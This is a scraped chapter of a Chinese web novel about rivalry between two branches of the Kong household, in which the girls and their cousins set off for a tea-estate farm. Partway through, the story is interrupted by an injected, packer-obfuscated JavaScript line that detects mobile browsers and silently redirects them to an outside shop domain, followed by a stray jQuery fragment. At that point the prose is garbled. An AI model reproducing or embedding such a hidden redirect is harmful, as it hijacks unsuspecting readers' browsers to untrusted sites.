文趣网 > 其他小说 > 只有贤夫可以上位哦 > 18. 第 18 章
    主要是这赵盈月也不知这怎么想的。

    每每走动间不是各种讨要、花出超份额的银子,就是拉着个脸好似长房欠了二房一般。

    还曾提过想与母亲分担中馈。

    在云霞看来实在是又蠢又坏,叫人喜欢不起来。

    落了她几次脸后,赵盈月也是个有骨气爱面子的,也渐渐地不往长房走了。

    今日也不知是何事引得这无事不登三宝殿的人拖家带口来了。

    孔明月内心嘀咕着,敷衍地朝赵盈月与表哥表姐见礼。

    便急不可耐朝云霞道:

    “母亲,这雨淅淅沥沥下了好多天了,我与表姐都闷坏了在府中,今日好不容易放晴,我们想去庄子上呆几天呢。”

    云霞皱起眉:

    “庄子上?”

    孔明月讨好笑道:

    “对啊!就是那个京郊,有个茶园的庄子,如今不是正值采茶时节吗?刚好我与表姐去帮您看看管事有没有偷奸耍滑……”

    赵盈月抬耳听了会儿,亮而上挑的风眼一转,笑道:

    “这不巧了吗?弟妹今日来寻嫂子就是想说这事呢,明琪一贯爱闷在府中,如今好不容易想出门透透气,如今倒讨巧了,不如就让明琪跟着明月、惜杉去庄子上溜溜。几个小姑娘放心不下,明清刚好陪着去当个护卫什么的,也好叫几个小辈培养培养感情。”

    云霞染着丹蔻的手捏着茶盏盖,有一搭没一搭拨弄着盏中浮起的新茶。

    不知道这无利不起早的弟妹又打的什么主意,一时沉吟着未说话。

    赵盈月心下一沉,心中暗骂道:一桩小事何故装模作样,她真是恨极了长房得了便宜还一副高傲的模样!

    同是一母同胞的兄弟为何长房高人一等,二房只能分了些碎肉在底下讨生活。

    想归如此想,赵盈月面上却不显分毫。

    从前她是无所谓长房态度想说什么就说什么,如今有求于人自然知道摆什么姿态,若是她真是个彻彻底底的蠢人也进不了孔家的门。

    不过一息间,赵盈月就红了眼,叹气道:

    “嫂子知道我的性子,是个蠢直的,我说点掏心窝子的话,从前是我厌极了为何明明是同胞所处,偏我家那位是那般扶不上墙的。嫉恨之下才失了理智,对长房有了埋怨,也对嫂子说了许多昏话,还望嫂子不要与我计较。”

    赵盈月别的不说,容貌却是不俗。

    凤目尖脸朱唇,是个美得极有攻击性的长相。

    如今模样泫然欲泣,瞧着很是叫人心疼。

    云霞叹了口气往前递了条帕子,看出这话带了几分真心,不欲计较从前。

    “京郊庄子是个好去处,如今天公作美,那就叫几个小的一块儿去透透气吧。既然明清去了那把明琛也叫上,也好叫培养培养感情,同是一脉所处的兄弟姐妹以后也不好太生分。”

    云霞瞧了瞧天色,抿口茶道:

    “如今时间尚早,收拾些行李出发,天黑前应该能到庄子上。”

    庄子离京城不远,是个极好的地段。

    这般地段的庄子贵不可言,如今都握在权贵手中,饶是如此行马车也要半日。

    赵盈月喜不自胜,丝毫不见方才的低落。

    凤目扬起又是张扬骄傲的模样,喜滋滋与云霞道:

    “谢过嫂子,那我们就回去收拾一下了,一会儿再过来。”

    云霞颔首,赵盈月又领着孔明清与孔明琪风风火火走了。

    “唉。”孔明月闷闷不乐瘫坐在椅子上。

    云霞只觉得额头青筋突突地跳,怒道:

    “孔明月你姿态都学到狗肚子里去了?算什么模样!”

    孔明月瘫得像块泥,扭曲无状,听到这话突地坐直身子。

    撇嘴道:

    “二房的人怎么突然朝我们这来了?我不想与他们一道啊啊啊!我与孔明琪玩不到一块去!”

    说完愤愤端起茶盏一饮而尽。

    云霞无奈看了她一眼,开口:

    “什么二房,那是你二叔母跟表妹,你与孔明琪玩不到一块去人家也不见得与你玩得到一块,又没叫你们同吃同睡,不过一道路的事。”

    孔明月闷闷不说话,撇下一句“我回去叫姐姐收拾行李”就走了。

    而许惜杉这边,行李已经收拾得七七八八了。

    地上摆了两个箱笼,其中一个已经装满,另一个装了一半。

    春兰站在梳妆台前,在各个首饰盒中挑挑拣拣,表情纠结不定:

    “小姐确定会去庄子上吗?明月小姐还没回来呢,我们已经收拾好行李了。”

    许惜杉坐着看春兰像个小蜜蜂般忙前忙后,道:

    “春兰就是在纠结这个吗?”

    春兰叹气,摇头说:

    “不是,我是在纠结带上哪些收拾好,这些珠花簪子步摇都极衬小姐,我选来选去都舍不下。”

    许惜杉闷笑出声,思索道:

    “将明琛表哥新送的那些珠花、簪子带上,再带些好搭配的就行了。不过去庄子上呆几天,哪需要这么纠结不定。”

    春兰叹气摇头。

    小姐哪里懂,每日睡前她都要纠结明日为小姐梳妆什么样式的,带的首饰可是至关重要。

    孔明月刚走进来一眼看到的就是两个收拾齐整的箱笼,脸上的郁色还未消退就被疑惑取代:

    “姐姐怎么就收拾好了?”

    许惜杉迷惑抬头,惊诧道:

    “姨母没同意我们去庄子上吗?”

    孔明月说:

    “同意了。”

    许惜杉又把头转回去了,孔明月唉声叹气地坐到许惜杉身旁,说:

    “二房的也要去。”

    许惜杉略一沉吟,道:

    “孔明琪吗?她不是跟你关系平平吗?”

    孔明月一拍大腿,肯定道:

    “就是啊!所以我才郁闷。我去与母亲说的时候,二叔母带着孔明琪和孔明清在,我一说完我们俩想去庄子上玩,二叔母就说带上孔明琪和孔明清了。”

    许惜杉对二房有些了解,一些是从孔明月嘴里听说的,还有一些则是因常住孔府知道的。

    在她所知与二房是极少走动的,至少一般关系好的兄弟间不会这般冷淡。

    略一想到庄子的位置,心里有几分猜测。

    思绪几经盘旋,还是暂时压在心底。

    接着孔明月又笑道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702832|208240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “因为孔明清跟着,母亲叫哥哥也一道去了,我已经叫玛瑙去与哥哥知会一声了。”

    许惜杉颔首。

    看孔明月坐得老神在在,还是春兰没忍住疑惑道:

    “明月小姐不用收拾行李吗?”

    谁知孔明月随手捏了块糕点,无辜道:

    “早在今日来寻姐姐之前我的行李就已经收拾好了。”

    春兰听了,没忍住捂着嘴闷笑。

    估摸着时间差不多时,许惜杉携着孔明月往正院去。

    走到正院时就见院中摆着几个箱笼,赵盈月领着孔明琪与孔明清在院中站着,像是刚到不久。

    因与云霞说过,府中已经备好了两辆马车。

    前头是一辆比之前许惜杉与孔明月去安王府赴宴坐的那辆,还要更大些的华贵马车。

    后面小的朴素那辆是让丫鬟坐的,顺便放行李。

    几个姑娘就坐前头那辆马车。

    孔明琛、孔明清则骑马过去。

    时下兴君子六艺,若是骑射功夫弱是会被耻笑的。

    丫鬟小厮们忙上忙下地搬着行李,人齐之后,一行人就浩浩荡荡地出行了。

    马车内孔明月拉着个脸百无聊赖地靠在许惜杉身边,拿着本书胡乱翻着,显然也没认真在看。

    许惜杉只当没注意,拿着她带来的话本子津津有味看着。

    这一行路途实在漫长,干坐着不知有多难熬。

    宁静不过片刻,孔明月就憋不住了,朝孔明琪问道:

    “你们怎么突然想去庄子上?”

    她与孔明琪玩不来,却也知道孔明琪老是一贯看不惯她的样子,显然不是什么闷不住的人。

    孔明琪也烦闷至极,自小听赵盈月说长房的坏话,耳濡目染中她对长房也是厌恶的。

    如今三人乘一辆马车,唯独她被排除在外。

    骤然听到孔明月的发问,孔明琪心下一紧。

    面上还是那副冷淡的模样答道:

    “母亲说我成日在家闷坏了,要多出门逛逛。”

    想到昨日母亲偷偷与她说的话,孔明琪心扑通扑通跳。

    孔明月听了嗤笑一声,不说就不说,也不想再搭理她。

    只是可怜了她,原本这一路与姐姐说话解闷也不算无趣,现在多了个孔明琪话也说不成了。

    要在这马车上晃荡半日,把她憋得够慌。

    在孔明月的难熬中,天黑了大半,马车终于抵达了庄子上。

    几个丫鬟相继把自家小姐扶下马车。

    庄子的管事已领了人在门口候着,门两边都点了灯,管事手上也提着一盏。

    见主家的小姐们下马车立马跪地行礼,孔明月累得不行也不忘问管事何时采茶,她还记挂着想体验一番采春茶的滋味。

    管事起身后微弯着身子,浑圆的脸庞笑得挤满了褶皱,像一个捻了褶子的大白包子。

    笑起来露出不止八颗牙,殷勤答道:

    “我是这庄子的管事,有福得主家赐姓孔,小姐们叫我孔管事就好了,在这庄子上有什么不可心的也尽管与我说。小姐问的采茶的事,这段时间正是采嫩茶的时段,茶园比较大,没有一周是采不完的。”